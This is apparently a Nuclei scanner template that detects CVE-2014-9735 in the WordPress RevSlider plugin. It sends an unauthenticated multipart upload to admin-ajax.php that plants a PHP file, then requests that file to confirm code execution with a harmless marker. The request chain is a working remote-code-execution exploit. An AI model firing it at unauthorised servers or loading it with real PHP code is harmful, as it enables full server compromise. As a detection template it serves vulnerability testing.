WordPress RevSlider - Remote Code Execution via File Upload

id: CVE-2014-9735

info:
  name: WordPress RevSlider - Remote Code Execution via File Upload
  author: iamnoooob,pdresearch
  severity: high
  description: |
    The ThemePunch Slider Revolution (revslider) plugin before 3.0.96 for WordPress and Showbiz Pro plugin 1.7.1 and earlier for Wordpress does not properly restrict access to administrator AJAX functionality, which allows remote attackers to (1) upload and execute arbitrary files via an update_plugin action; (2) delete arbitrary sliders via a delete_slider action; and (3) create, (4) update, (5) import, or (6) export arbitrary sliders via unspecified vectors.
  impact: |
    Unauthenticated attackers can upload and execute arbitrary PHP files, leading to complete server compromise, data theft, and potential lateral movement within the network.
  remediation: |
    Update to Slider Revolution version 3.0.96 or later, or remove the plugin if not in use.
  reference:
    - https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9735
    - https://www.exploit-db.com/exploits/35385
    - https://wpvulndb.com/vulnerabilities/7954
    - https://plugins.trac.wordpress.org/browser/patch-for-revolution-slider/trunk/revsliderpatch.php
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2014-9735
    cwe-id: CWE-264
    epss-score: 0.82749
    epss-percentile: 0.99265
    cpe: cpe:2.3:a:themepunch:showbiz_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: themepunch
    product: showbiz_pro
    framework: wordpress
  tags: cve,cve2014,wordpress,revslider,fileupload,rce,plugin,wp,unauth,intrusive,vkev,vuln

variables:
  marker: "{{randstr}}"
  b64marker: "{{base64(marker)}}"
  filename: "{{rand_base(5)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWJDMjlXCUnC1rnZg

        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg
        Content-Disposition: form-data; name="action"

        revslider_ajax_action
        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg
        Content-Disposition: form-data; name="client_action"

        update_plugin
        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg
        Content-Disposition: form-data; name="update_file"; filename="{{filename}}.zip"
        Content-Type: application/zip

        {{zip('{{filename}}.php','<?php echo base64_decode(\'{{b64marker}}\'); ?>')}}
        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg--

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Update in progress...","wp-admin/admin.php?page=revslider&view=sliders")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/revslider/temp/update_extract/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{{marker}}")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100f24beb3b02ebd346fecb4a95ba533a6886e296c89c77cbc25f991fdec2035720022100c0dfa17502c4f600dbf5659bda95829d169cefbc5be8d56c5f61d12696f5d39c:922c64590222798bb761d5b6d8e72950